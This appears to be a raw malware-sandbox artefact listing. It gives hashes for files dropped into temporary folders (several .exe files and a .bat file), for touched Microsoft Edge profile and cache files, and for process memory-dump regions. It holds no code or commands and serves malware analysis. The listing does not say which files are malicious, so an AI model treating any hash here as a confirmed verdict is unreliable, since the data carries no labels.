memory/3928-84-0x0000000007560000-0x000000000756A000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\7dt2dE88.exe

MD5 d9cda349a414c013880935d18eb6aaf8
SHA1 0041b3d510a0ed65b217bc1cc87a7b8937ba01e0
SHA256 697daf48f002601229e6a46cb6ad844de2454a69a2ee4dd48409da809df04be8
SHA512 3ae3af9a94539163b0c123ac18228c546729401ec6125bf7f1ea48657e2e9e3d0fd68e30df3fdb7280db0136ffad92b7bee6d3a0ae4525ac360553be02c9faaa

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\7dt2dE88.exe

MD5 d9cda349a414c013880935d18eb6aaf8
SHA1 0041b3d510a0ed65b217bc1cc87a7b8937ba01e0
SHA256 697daf48f002601229e6a46cb6ad844de2454a69a2ee4dd48409da809df04be8
SHA512 3ae3af9a94539163b0c123ac18228c546729401ec6125bf7f1ea48657e2e9e3d0fd68e30df3fdb7280db0136ffad92b7bee6d3a0ae4525ac360553be02c9faaa

C:\Users\Admin\AppData\Local\Temp\1085.tmp\1086.tmp\1087.bat

MD5 0769624c4307afb42ff4d8602d7815ec
SHA1 786853c829f4967a61858c2cdf4891b669ac4df9
SHA256 7da27df04c56cf1aa11d427d9a3dff48b0d0df8c11f7090eb849abee6bfe421f
SHA512 df8e4c6e50c74f5daf89b3585a98980ac1dbacf4cce641571f8999e4263078e5d14863dae9cf64be4c987671a21ebdce3bf8e210715f68c5e383cc4d55f53106

memory/3928-90-0x00000000085A0000-0x0000000008BB8000-memory.dmp

memory/3928-91-0x0000000007890000-0x000000000799A000-memory.dmp

memory/3928-92-0x0000000007640000-0x0000000007652000-memory.dmp

memory/3928-93-0x00000000077C0000-0x00000000077FC000-memory.dmp

memory/3928-94-0x0000000007800000-0x000000000784C000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 df4fb359f7b2fa8af30bf98045c57c44
SHA1 6d507359e1fd5be8f7c01fd4b291f81cf9561378
SHA256 5ff7efcd90db74ff5a6fa467ba741889306ce510b95db8ebd3d5d292dfe587cc
SHA512 92195f5fe36acb84ce5aeedf8654c2ec1d71ebde1e04a5dbce11df2831c3e085c0cd7132ed2c4bddcc3fd1e546c06021dbe5b7364e86054e6cbd6806e7be0463

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 84df16093540d8d88a327b849dd35f8c
SHA1 c6207d32a8e44863142213697984de5e238ce644
SHA256 220f89151a0f978b8bbe338b937af90417ae8c17b72a53f2acea7be2ac171a8c
SHA512 3077ccda8f86f47c41978d6cbb1dcad344e36f236251c8fd8c58d1c48a59106aecfdbe306357b7ebcfe3300bec8ea10ee0e59434c799e8c40e40e6c3c1bd4098

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 84df16093540d8d88a327b849dd35f8c
SHA1 c6207d32a8e44863142213697984de5e238ce644
SHA256 220f89151a0f978b8bbe338b937af90417ae8c17b72a53f2acea7be2ac171a8c
SHA512 3077ccda8f86f47c41978d6cbb1dcad344e36f236251c8fd8c58d1c48a59106aecfdbe306357b7ebcfe3300bec8ea10ee0e59434c799e8c40e40e6c3c1bd4098

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 84df16093540d8d88a327b849dd35f8c
SHA1 c6207d32a8e44863142213697984de5e238ce644
SHA256 220f89151a0f978b8bbe338b937af90417ae8c17b72a53f2acea7be2ac171a8c
SHA512 3077ccda8f86f47c41978d6cbb1dcad344e36f236251c8fd8c58d1c48a59106aecfdbe306357b7ebcfe3300bec8ea10ee0e59434c799e8c40e40e6c3c1bd4098

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 84df16093540d8d88a327b849dd35f8c
SHA1 c6207d32a8e44863142213697984de5e238ce644
SHA256 220f89151a0f978b8bbe338b937af90417ae8c17b72a53f2acea7be2ac171a8c
SHA512 3077ccda8f86f47c41978d6cbb1dcad344e36f236251c8fd8c58d1c48a59106aecfdbe306357b7ebcfe3300bec8ea10ee0e59434c799e8c40e40e6c3c1bd4098

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 84df16093540d8d88a327b849dd35f8c
SHA1 c6207d32a8e44863142213697984de5e238ce644
SHA256 220f89151a0f978b8bbe338b937af90417ae8c17b72a53f2acea7be2ac171a8c
SHA512 3077ccda8f86f47c41978d6cbb1dcad344e36f236251c8fd8c58d1c48a59106aecfdbe306357b7ebcfe3300bec8ea10ee0e59434c799e8c40e40e6c3c1bd4098

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 84df16093540d8d88a327b849dd35f8c
SHA1 c6207d32a8e44863142213697984de5e238ce644
SHA256 220f89151a0f978b8bbe338b937af90417ae8c17b72a53f2acea7be2ac171a8c
SHA512 3077ccda8f86f47c41978d6cbb1dcad344e36f236251c8fd8c58d1c48a59106aecfdbe306357b7ebcfe3300bec8ea10ee0e59434c799e8c40e40e6c3c1bd4098

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 84df16093540d8d88a327b849dd35f8c
SHA1 c6207d32a8e44863142213697984de5e238ce644
SHA256 220f89151a0f978b8bbe338b937af90417ae8c17b72a53f2acea7be2ac171a8c
SHA512 3077ccda8f86f47c41978d6cbb1dcad344e36f236251c8fd8c58d1c48a59106aecfdbe306357b7ebcfe3300bec8ea10ee0e59434c799e8c40e40e6c3c1bd4098

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 84df16093540d8d88a327b849dd35f8c
SHA1 c6207d32a8e44863142213697984de5e238ce644
SHA256 220f89151a0f978b8bbe338b937af90417ae8c17b72a53f2acea7be2ac171a8c
SHA512 3077ccda8f86f47c41978d6cbb1dcad344e36f236251c8fd8c58d1c48a59106aecfdbe306357b7ebcfe3300bec8ea10ee0e59434c799e8c40e40e6c3c1bd4098

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 84df16093540d8d88a327b849dd35f8c
SHA1 c6207d32a8e44863142213697984de5e238ce644
SHA256 220f89151a0f978b8bbe338b937af90417ae8c17b72a53f2acea7be2ac171a8c
SHA512 3077ccda8f86f47c41978d6cbb1dcad344e36f236251c8fd8c58d1c48a59106aecfdbe306357b7ebcfe3300bec8ea10ee0e59434c799e8c40e40e6c3c1bd4098

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 84df16093540d8d88a327b849dd35f8c
SHA1 c6207d32a8e44863142213697984de5e238ce644
SHA256 220f89151a0f978b8bbe338b937af90417ae8c17b72a53f2acea7be2ac171a8c
SHA512 3077ccda8f86f47c41978d6cbb1dcad344e36f236251c8fd8c58d1c48a59106aecfdbe306357b7ebcfe3300bec8ea10ee0e59434c799e8c40e40e6c3c1bd4098

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 84df16093540d8d88a327b849dd35f8c
SHA1 c6207d32a8e44863142213697984de5e238ce644
SHA256 220f89151a0f978b8bbe338b937af90417ae8c17b72a53f2acea7be2ac171a8c
SHA512 3077ccda8f86f47c41978d6cbb1dcad344e36f236251c8fd8c58d1c48a59106aecfdbe306357b7ebcfe3300bec8ea10ee0e59434c799e8c40e40e6c3c1bd4098

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 84df16093540d8d88a327b849dd35f8c
SHA1 c6207d32a8e44863142213697984de5e238ce644
SHA256 220f89151a0f978b8bbe338b937af90417ae8c17b72a53f2acea7be2ac171a8c
SHA512 3077ccda8f86f47c41978d6cbb1dcad344e36f236251c8fd8c58d1c48a59106aecfdbe306357b7ebcfe3300bec8ea10ee0e59434c799e8c40e40e6c3c1bd4098

\??\pipe\LOCAL\crashpad_2876_BALQYZQIDJCPJJJQ

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

\??\pipe\LOCAL\crashpad_2928_SSCRVDGULGDHTWTW

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 84df16093540d8d88a327b849dd35f8c
SHA1 c6207d32a8e44863142213697984de5e238ce644
SHA256 220f89151a0f978b8bbe338b937af90417ae8c17b72a53f2acea7be2ac171a8c
SHA512 3077ccda8f86f47c41978d6cbb1dcad344e36f236251c8fd8c58d1c48a59106aecfdbe306357b7ebcfe3300bec8ea10ee0e59434c799e8c40e40e6c3c1bd4098

\??\pipe\LOCAL\crashpad_116_VIDBQWHHHASQSYUX

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 84df16093540d8d88a327b849dd35f8c
SHA1 c6207d32a8e44863142213697984de5e238ce644
SHA256 220f89151a0f978b8bbe338b937af90417ae8c17b72a53f2acea7be2ac171a8c
SHA512 3077ccda8f86f47c41978d6cbb1dcad344e36f236251c8fd8c58d1c48a59106aecfdbe306357b7ebcfe3300bec8ea10ee0e59434c799e8c40e40e6c3c1bd4098

memory/1912-178-0x0000000073FA0000-0x0000000074750000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 6174269f4b0a15d1ad3183fef4055875
SHA1 958268c523cf7f6ac0f338a88b692e0a3b385885
SHA256 9e01d94822c5ddc46c74097617f3d781d618c17f2dec3b09c813e494ad07c1c6
SHA512 c83c7929db391804b464fa069b4134110a84770ddd4b2577f78b1041bf242a4d9ff3b04e1222a71fbfb10da1fd39ec4bd2d79de270eedc1ddf69bcdafa2724a4

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 84df16093540d8d88a327b849dd35f8c
SHA1 c6207d32a8e44863142213697984de5e238ce644
SHA256 220f89151a0f978b8bbe338b937af90417ae8c17b72a53f2acea7be2ac171a8c
SHA512 3077ccda8f86f47c41978d6cbb1dcad344e36f236251c8fd8c58d1c48a59106aecfdbe306357b7ebcfe3300bec8ea10ee0e59434c799e8c40e40e6c3c1bd4098

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 1a243549da020cb4fc3c322f31f97c7e
SHA1 f5c7c6a409cfff21c3ab86e55554b51932fa9e20
SHA256 5876c77aef61cf55e02d42a2c6fec100d2fa6c0ee6234eb947677498e85ac1fb
SHA512 476544cf7032fbe898fa5a3e67c811b49aff48a5bb0a5e37360e5af6704f419ee5efeed24206f5f0b6934deb04dabaed8f40a196efe237b2eaf67f55b1ee7c89

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 b4deed16b9390bde317cecf59076d3cd
SHA1 e8e64508dfb2e05c835a69ecca6bf6a93b2e2193
SHA256 f825773d605f042c041292308a5b64f2860d3967a8e09d52a024740c9dbd921d
SHA512 073cf39e8a4b5f4c6a830bf50040ce6fe75c9846f4dacaa8693a39f46a6b86648aaeee73ecdeb9080290ed5b9a1205938a0c0805a9abf9efc2741ae78402bf62

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 b4deed16b9390bde317cecf59076d3cd
SHA1 e8e64508dfb2e05c835a69ecca6bf6a93b2e2193
SHA256 f825773d605f042c041292308a5b64f2860d3967a8e09d52a024740c9dbd921d
SHA512 073cf39e8a4b5f4c6a830bf50040ce6fe75c9846f4dacaa8693a39f46a6b86648aaeee73ecdeb9080290ed5b9a1205938a0c0805a9abf9efc2741ae78402bf62

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 1a243549da020cb4fc3c322f31f97c7e
SHA1 f5c7c6a409cfff21c3ab86e55554b51932fa9e20
SHA256 5876c77aef61cf55e02d42a2c6fec100d2fa6c0ee6234eb947677498e85ac1fb
SHA512 476544cf7032fbe898fa5a3e67c811b49aff48a5bb0a5e37360e5af6704f419ee5efeed24206f5f0b6934deb04dabaed8f40a196efe237b2eaf67f55b1ee7c89

\??\pipe\LOCAL\crashpad_3336_ABTJAMZBVWBJEPTM

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 89bd99ab504cdc12a6d3d374c8c9052e
SHA1 9f6004db6744a7b1c29abf6cff26983337a83ad1
SHA256 574fcf18e1f426b7bda0da840cf3a84707e053a79b4f038f41aab605c8c7fe72
SHA512 a96e0adc23a38c707360c1295b9083dbcc0ec931694f9241cf68b70d8d39fea24f03b81011e3f217989cdb6968e9870073c111c66067efeed0f74a68f1f8f603

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 84df16093540d8d88a327b849dd35f8c
SHA1 c6207d32a8e44863142213697984de5e238ce644
SHA256 220f89151a0f978b8bbe338b937af90417ae8c17b72a53f2acea7be2ac171a8c
SHA512 3077ccda8f86f47c41978d6cbb1dcad344e36f236251c8fd8c58d1c48a59106aecfdbe306357b7ebcfe3300bec8ea10ee0e59434c799e8c40e40e6c3c1bd4098

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 1bcc1f561ab9068feb8b91144f15d18f
SHA1 515fb5d601372ab136b5141d4305d80b3b98541f
SHA256 3653fd0de5c7e33f907ca3cc76d6536fda53088dc7ad261096a8bed1d7fc71c2
SHA512 53098a20569565a977fe5898e892adc5a6b54a4f4beb60f53044c60a11046a123c1a86f708889dad525f0de2eb5f606ff7bddbb000a36972fdb61ed535d8eb79

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 1bcc1f561ab9068feb8b91144f15d18f
SHA1 515fb5d601372ab136b5141d4305d80b3b98541f
SHA256 3653fd0de5c7e33f907ca3cc76d6536fda53088dc7ad261096a8bed1d7fc71c2
SHA512 53098a20569565a977fe5898e892adc5a6b54a4f4beb60f53044c60a11046a123c1a86f708889dad525f0de2eb5f606ff7bddbb000a36972fdb61ed535d8eb79

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 6174269f4b0a15d1ad3183fef4055875
SHA1 958268c523cf7f6ac0f338a88b692e0a3b385885
SHA256 9e01d94822c5ddc46c74097617f3d781d618c17f2dec3b09c813e494ad07c1c6
SHA512 c83c7929db391804b464fa069b4134110a84770ddd4b2577f78b1041bf242a4d9ff3b04e1222a71fbfb10da1fd39ec4bd2d79de270eedc1ddf69bcdafa2724a4

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 6174269f4b0a15d1ad3183fef4055875
SHA1 958268c523cf7f6ac0f338a88b692e0a3b385885
SHA256 9e01d94822c5ddc46c74097617f3d781d618c17f2dec3b09c813e494ad07c1c6
SHA512 c83c7929db391804b464fa069b4134110a84770ddd4b2577f78b1041bf242a4d9ff3b04e1222a71fbfb10da1fd39ec4bd2d79de270eedc1ddf69bcdafa2724a4

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 b4deed16b9390bde317cecf59076d3cd
SHA1 e8e64508dfb2e05c835a69ecca6bf6a93b2e2193
SHA256 f825773d605f042c041292308a5b64f2860d3967a8e09d52a024740c9dbd921d
SHA512 073cf39e8a4b5f4c6a830bf50040ce6fe75c9846f4dacaa8693a39f46a6b86648aaeee73ecdeb9080290ed5b9a1205938a0c0805a9abf9efc2741ae78402bf62

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 84df16093540d8d88a327b849dd35f8c
SHA1 c6207d32a8e44863142213697984de5e238ce644
SHA256 220f89151a0f978b8bbe338b937af90417ae8c17b72a53f2acea7be2ac171a8c
SHA512 3077ccda8f86f47c41978d6cbb1dcad344e36f236251c8fd8c58d1c48a59106aecfdbe306357b7ebcfe3300bec8ea10ee0e59434c799e8c40e40e6c3c1bd4098

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 1a243549da020cb4fc3c322f31f97c7e
SHA1 f5c7c6a409cfff21c3ab86e55554b51932fa9e20
SHA256 5876c77aef61cf55e02d42a2c6fec100d2fa6c0ee6234eb947677498e85ac1fb
SHA512 476544cf7032fbe898fa5a3e67c811b49aff48a5bb0a5e37360e5af6704f419ee5efeed24206f5f0b6934deb04dabaed8f40a196efe237b2eaf67f55b1ee7c89

memory/3928-408-0x0000000073FA0000-0x0000000074750000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000007

MD5 a5c3c60ee66c5eee4d68fdcd1e70a0f8
SHA1 679c2d0f388fcf61ecc2a0d735ef304b21e428d2
SHA256 a77e911505d857000f49f47d29f28399475324bbf89c5c77066e9f9aca4dd234
SHA512 5a4f5a1e0de5e650ca4b56bfd8e6830b98272a74d75610ed6e2f828f47cdf8447fbc5d8404bcf706ca95e5833e7c255f251137855723b531d12cbc450062750a

memory/3928-427-0x0000000007680000-0x0000000007690000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

MD5 6752a1d65b201c13b62ea44016eb221f
SHA1 58ecf154d01a62233ed7fb494ace3c3d4ffce08b
SHA256 0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd
SHA512 9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 ddb5f461b43f0c2467d57051326a480e
SHA1 b2872514753f2f2d98230a6f869a013dd0a565de
SHA256 a7f9cd0517abc76ca225d4b83677246dd8612f48cdff8d99e3e3c97e44230a65
SHA512 c5ff0b21591d8d51562f2db839dd36a6757a2f88518f2fc166acef352b61509b95cb69d19ad5e21e16a379d02c08f15eb0ca94a31c7ce1b0e0e29c2a4439f2b3

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 586b4b690c1f6e68a95604dec2849204
SHA1 f87190179d2316d53ca9376129bd6fbc332680a6
SHA256 ad314dcfdbdd8c4bab3e7d1c79ac9d02fcac5e585c5fcd2aae3419174c41bbf2
SHA512 3bdc68b2f7add0399cc68f12d119aeb52c85190063ab68cd0a97dc3e1eb6ae8524af7e0d17dcee8b00aa40ceae8c9f4c73df9b44625cedfc2a34c5ff849f8611

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000006

MD5 923a543cc619ea568f91b723d9fb1ef0
SHA1 6f4ade25559645c741d7327c6e16521e43d7e1f9
SHA256 bf7344209edb1be5a2886c425cf6334a102d76cbea1471fd50171e2ee92877cd
SHA512 a4153751761cd67465374828b0514d7773b8c4ed37779d1ecfd4f19be4faa171585c8ee0b4db59b556399d5d2b9809ba87e04d4715e9d090e1f488d02219d555

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000008

MD5 7d75a9eb3b38b5dd04b8a7ce4f1b87cc
SHA1 68f598c84936c9720c5ffd6685294f5c94000dff
SHA256 6c24799e77b963b00401713a1dbd9cba3a00249b9363e2c194d01b13b8cdb3d7
SHA512 cf0488c34a1af36b1bb854dea2decfc8394f47831b1670cab3eed8291b61188484cc8ab0a726a524ecdd20b71d291bcccbc2ce999fd91662aca63d2d22ed0d9f

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000009

MD5 a6056708f2b40fe06e76df601fdc666a
SHA1 542f2a7be8288e26f08f55216e0c32108486c04c
SHA256 fe8009d99826585803f561c9d7b01c95ec4a666e92fedb2c1ca6fa0f50bb7152
SHA512 e83e64d00199a51c1f17faca3012f6f28ad54e5ac48acea6509cccdd61ddb08b03c3a895776944190a4e261393b90f9f516ad64b1b0e4cdd88a66f6f691331a4

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00000a

MD5 b24045e033655badfcc5b3292df544fb
SHA1 7869c0742b4d5cd8f1341bb061ac6c8c8cf8544b
SHA256 ce60e71ab0f5a6f0a61ee048ff379b355d72cd01fda773380b4b474b4273ec6c
SHA512 0496eab064778fe47802d7f79a536022de4a89d085457ad0d092597f93e19653f750b86f5649768e18f631505ff9792c421ba3a14b9d30522d731b5cd3d8206c

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

MD5 918ecd7940dcab6b9f4b8bdd4d3772b2
SHA1 7c0c6962a6cd37d91c2ebf3ad542b3876dc466e4
SHA256 3123072fba0ea8e8f960dd213659a0c96ce2b58683593b8ea84efac772b25175
SHA512 c96044501a0a6a65140bc7710a81d29dac35fc6a6fd18fbb4fa5d584e9dc79a059e51cbe063ca496d72558e459ffa6c2913f3893f0a3c0f8002bbca1d1b98ea2

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000041

MD5 990324ce59f0281c7b36fb9889e8887f
SHA1 35abc926cbea649385d104b1fd2963055454bf27
SHA256 67bcedd3040fc55d968bbe21df05c02b731181541aff4ae72b9205300a4a3ecc
SHA512 31e83da1ac217d25be6e7f35a041881b926f731fff69db6f144e4fe99b696a31f9ab7766ca22cf5a482743c2a2d00a699ca2c2d67837a86c471a2dd3bed9ea1f

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT

MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\6JM39QI.exe

MD5 dce46cd745b4dabfd9c62ed50c2cef3b
SHA1 213411dea2d0db15ae6f1dbe4574333bc7f2ad20
SHA256 b103df453fa934ae788e9c5584361f78de88e432d75a53f5f19398e1aa4cda96
SHA512 a9d697d35be09018962a410c2d5f51d79417ac0c86827f658dabaf1261f1c35575e4941954607f4d6beba4add8b5cc246aa7507563a427ca7182ea8591bb262f

C:\Users\Admin\AppData\Local\Temp\5CF1.exe

MD5 e561df80d8920ae9b152ddddefd13c7c
SHA1 0d020453f62d2188f7a0e55442af5d75e16e7caf
SHA256 5484ca53027230772ae149e3d7684b7e322432ceb013b6bc2440bd3c269192ea
SHA512 a7afed5a6434f296f0e0186de8ce87245bbd0f264498e327188a93551dd45e0e67409e62f3477b526ab5b0927e4349ad66107cbea7f7554b4be53c18227741a5

memory/5560-727-0x0000000073FA0000-0x0000000074750000-memory.dmp

memory/5356-730-0x0000000000FC0000-0x0000000000FCA000-memory.dmp

memory/5356-731-0x0000000073FA0000-0x0000000074750000-memory.dmp

memory/5560-732-0x0000000007610000-0x0000000007620000-memory.dmp

memory/1656-739-0x0000000000400000-0x0000000000434000-memory.dmp

memory/1656-743-0x0000000000400000-0x0000000000434000-memory.dmp

memory/1880-745-0x0000000073FA0000-0x0000000074750000-memory.dmp

memory/5040-748-0x0000000000400000-0x0000000000480000-memory.dmp

memory/1880-744-0x0000000000B30000-0x0000000000B6E000-memory.dmp

memory/1656-738-0x0000000000400000-0x0000000000434000-memory.dmp

memory/1880-768-0x0000000007B40000-0x0000000007B50000-memory.dmp

memory/5040-760-0x0000000000560000-0x00000000005BA000-memory.dmp

memory/5040-786-0x0000000073FA0000-0x0000000074750000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 e80f053f56432cef105798c603285c4b
SHA1 ed61f9faf1c666e23da7a9a09eeaf8cbd3c3f3ab
SHA256 85f84039fa3d8af99547d91c59ffa3b2ef29796cc73bcca9c68946e5ead46be5
SHA512 39ee41536ca37a9a7531a3ff658b862b6214656f1235a30260852c758e42144c7dfa142fc5c04a8e01539de87dd79c144b5d0e2cfb97ec18f29d91bc6ea7b3ff

memory/5040-869-0x0000000000400000-0x0000000000480000-memory.dmp

memory/5040-870-0x0000000073FA0000-0x0000000074750000-memory.dmp

memory/5560-882-0x0000000073FA0000-0x0000000074750000-memory.dmp

memory/5356-884-0x0000000073FA0000-0x0000000074750000-memory.dmp

memory/5560-914-0x0000000007610000-0x0000000007620000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt

MD5 ad1e930c72dda784c5e96628276631f6
SHA1 6bf78919e8797b1c741bd05d271dbc353b9d756b
SHA256 792cc00e86186875452a61b2e5b1c4803bc3876a093f5418538c3868957de1d5
SHA512 ee3507498a9532f6b51c45e203abefa129442c0e2dc9a941be816391e18cfec7e490925d06f09ec085f5dd5d3290c5c57198e2131ce8a990408604129f5658ca

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt

MD5 5599968cd423cf55f597b47689c3066e
SHA1 3b0e26d0bdf29a7e4de6beeb6dfb9920b153dcf6
SHA256 1bed0ac24db905f47bfdc3f8adc8fcce4342e05864f515f0eb51bfe13203ef47
SHA512 7cb4c7c50227ac7128c17364b4a9638707b1af88af1de9b1bd05a91fd16bd539f84fe3dbaf718fbab1d1784bbc21d5da38d6aef811af700097265b774995cbb9

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt~RFe58848d.TMP

MD5 5386e99392332aa011a03d6a53812212
SHA1 26b8d107fe392c835fb02f4c6d1dd33664c119f3
SHA256 f05a89fd8fea489649b201e158be3a4abe8caee152162090e21b8b0f4d290017
SHA512 6ba6e9804e5d81d2d1395d3523fa0c4323baa5480e365f0fbd477bfd48bd3e76a5fd0aa1c353c66fc888e37a1fb8f743f4f256b77dace5b97f118fee66b98ea0

memory/5356-967-0x0000000073FA0000-0x0000000074750000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt

MD5 da33495e6b192f6895212498fdf35447
SHA1 eaf0eac2b383214b70c34003d468d17ddea2d6f4
SHA256 634fa553115474c1d25afd282d4ca4c1ff0761f22f45479168e736aa368ea912
SHA512 6ea5284ca735afaca22ec699f6358b4c67c6daf3de9b2b9aa49f2f91767cb8263a8f8689bb32745290d620921b06549a1c73b99fda8b10e2cbf0bacfb5d5c5ad

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000014

MD5 9f1c899a371951195b4dedabf8fc4588
SHA1 7abeeee04287a2633f5d2fa32d09c4c12e76051b
SHA256 ba60b39bc10f6abd7f7a3a2a9bae5c83a0a6f7787e60115d0e8b4e17578c35f7
SHA512 86e75284beaff4727fae0a46bd8c3a8b4a7c95eceaf45845d5c3c2806139d739c983205b9163e515f6158aa7c3c901554109c92a7acc2c0077b1d22c003dba54

memory/7304-999-0x0000000000D60000-0x0000000001744000-memory.dmp

memory/7304-1000-0x0000000073FA0000-0x0000000074750000-memory.dmp

memory/1880-1002-0x0000000073FA0000-0x0000000074750000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000012

MD5 eccad76805c6421735c51509323ea374
SHA1 7408929a96e1cd9a4b923b86966ce0e2b021552b
SHA256 14c8d86be351170c4e9f785c2dfb686bfe945209cbf98533f54194f8c276b6db
SHA512 4a7e5d3815d0655e0ea2aac7843d13258f312f70174d68951a21782054e684f739484dac08fda8cd47f5cf20d37516b017799d4819b0f88e46c819bd077fd94f

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000036

MD5 73ad1ae9855d313baf3b80d18908d53e
